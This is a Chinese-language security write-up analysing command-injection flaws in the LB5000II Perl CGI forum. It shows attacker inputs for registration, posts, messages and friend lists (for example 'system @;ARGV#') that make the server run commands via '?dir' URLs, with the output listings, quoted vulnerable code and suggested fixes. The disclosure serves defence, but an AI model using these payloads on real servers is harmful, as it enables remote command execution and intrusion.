|
|
LB5K是国内最流行的CGI程序之一,是在Ikonboard的基础之上改进的,目前最新版
本是LB5000II v1103,可以从
http://www.leoboard.com/cgi-bin/lbdown.cgi?ver=LB5000II下载。
乍看起来,作者似乎已经改正了前段时间的所有BUG,这包括以前Win32平台创建后
门的问题和后来跨平台的“search.cgi”问题,但是实际情况好象并不是这样。下
面我将比较深入的剖析一下LB5K存在的几大功能漏洞,当然我也会提出对应的临时
解决方法。
下面我只以Win32平台为例介绍一下,而且只是以Perl CGI方式介绍,至于Perl
ISAPI方式请自己参考相关文档。
声明:本文只是出于教育的目的,请不要利用本文的内容进行任何破坏,否则后果
自负!
[用户注册功能漏洞]
显然作者看过我写的那篇文章《怎样利用Perl CGI和LB5K的缺陷攻占远程服务器》
,但是作者是怎么解决这个问题的呢?我们看一下相关代码:
[register.cgi] L185~L189:
$bannedmember = "yes" if (($inmembername eq "system")||($inmembername eq "admin")
||($inmembername eq "root")||($inmembername eq "copy")||($inmembername eq "require")
||($inmembername eq "rename")||($inmembername eq "dir"));
if ($bannedmember eq "yes") {
print header(-charset=>gb2312); &error("用户注册&对不起,你不允许
注册,请联系论坛管理员以便解决!");
}
作者过滤了“system”和一些其它帐号,且不说过滤的帐号是不是全面,单从这种
过滤的方法来看,就很容易绕过。不让注册“system”,我们可以注册“
system%20”嘛,测试一下:
http://www.notfound.org/cgi-bin/members/system.cgi?dir
C:\Inetpub\cgi-bin\members 的目录
2001-11-05 16:29 <DIR> .
2001-11-05 16:29 <DIR> ..
2001-11-05 16:24 184 system.cgi
1 个文件 184 字节
2 个目录 1,939,226,624 可用字节
不用我多说了吧?
临时解决方法:
* 限制帐号密码只能为字母数字组合,且长度为3到8位
[发文章功能漏洞]
好了,我们假设已经对帐号密码进行了限制,下面我们来看看发文章功能有什么问
题。假设用户system已经登陆进入系统,下面他要发一篇文章:
http://www.notfound.org/cgi-bin/post.cgi?action=new&forum=1
主题标题:@;ARGV#
内容:thiz is a test!
提交。
我们来看一下:
http://www.notfound.org/cgi-bin/forum1/1.thd.cgi?dir
C:\Inetpub\cgi-bin\forum1 的目录
2001-11-05 17:10 <DIR> .
2001-11-05 17:10 <DIR> ..
2001-11-05 15:24 150 .htaccess
2001-11-05 17:10 72 1.pl
2001-11-05 17:10 70 1.thd.cgi
2001-11-05 15:24 85 foruminfo.cgi
2001-11-05 15:24 1 index.html
2001-11-05 17:10 1 lastnum.cgi
2001-11-05 17:10 74 list.cgi
7 个文件 453 字节
2 个目录 1,938,771,968 可用字节
我们看一下“post.cgi”的相关代码:
[post.cgi]L431~L432
elsif ($intopictitle eq "") { &error("发表新主题&必须输入主
题标题!"); }
elsif (length($intopictitle) > 82) { &error("发表新主题&主题标题过长!"); }
[post.cgi]L436~L444
$intopictitle =~ s/(
)+/
/isg;
if (($inpost eq "")&&($addme eq "")) { $intopictitle.=" (无内容)"; }
$tempintopictitle = $intopictitle;
$tempintopictitle =~ s/ //g;
$tempintopictitle =~ s/\ \;//g;
$tempintopictitle =~ s/ //g;
if ($tempintopictitle eq "") { print header(-charset=>gb2312); &error("发表
新主题&主题标题有问题!"); }
undef $tempintopictitle;
显然过滤的太少了!:(
临时解决方法:
* 文章标题和内容应该过滤或者转换某些特殊字符,包括“@”,“#”,“$”,
“‘”,“””,“;”等
[加好友功能漏洞]
加好友也有问题?是的!假设当前用户为thiz,我们进入如下URL:
http://www.notfound.org/cgi-bin/friendlist.cgi
增加好友“system”和“dir”,什么?没有该注册用户!你自己不会注册一个?
!
然后,我们来看一下:
http://www.notfound.org/cgi-bin/memfriend/thiz.cgi
C:\Inetpub\cgi-bin\memfriend 的目录
2001-11-05 17:54 <DIR> .
2001-11-05 17:54 <DIR> ..
2001-10-31 08:54 204 index.html
2001-11-05 17:54 13 thiz.cgi
2 个文件 217 字节
2 个目录 1,937,965,056 可用字节
临时解决方法:
* 不知道!:(
[发消息功能漏洞]
发消息也是存在安全问题的,利用方法也不难,如果你对Perl比较熟悉的话。
收件人:print
标题:;
内容:system @;ARGV#
OK,提交!
假设你当前是用户“thiz”,那么输入下列URL将执行“dir”命令。
http://www.notfound.org/cgi-bin/messages/thiz_out.cgi?dir
C:\Inetpub\cgi-bin\messages 的目录
2001-11-12 15:35 <DIR> .
2001-11-12 15:35 <DIR> ..
2001-10-31 08:54 204 index.html
2001-11-12 15:29 38 print_out.cgi
2 个文件 242 字节
2 个目录 1,854,840,832 可用字节
临时解决方法:
* 过滤或编码标题和内容中的特殊字符,如“;”,“#”等
[投票功能漏洞]
问题和“发文章功能漏洞”基本类似,不同之处在于这时产生了两个文件,扩展名
为“.pl”和“.cgi”,是不是危害性更大?:P
临时解决方法:
* 过滤或编码“投票主题”,“投票项目”和“投票选项说明”中的特殊字符“;
”,“#”等
LB5K存在的功能漏洞基本上就是这么多了,也许还有一些其它的问题,如果你能发
现并且愿意告诉我,那么可以和我联系!:)
虽然这里提到的问题影响范围比较小,而且可以通过正确的设置目录权限来避免,
但是毕竟程序也应该做一些工作,Right?
程序开发者应该尽量想得全面一些,程序使用者也应该在使用程序之前检查一下安
全性,否则等出了问题再着急就晚了!
就到这里,权当拓展思路好了。
|
|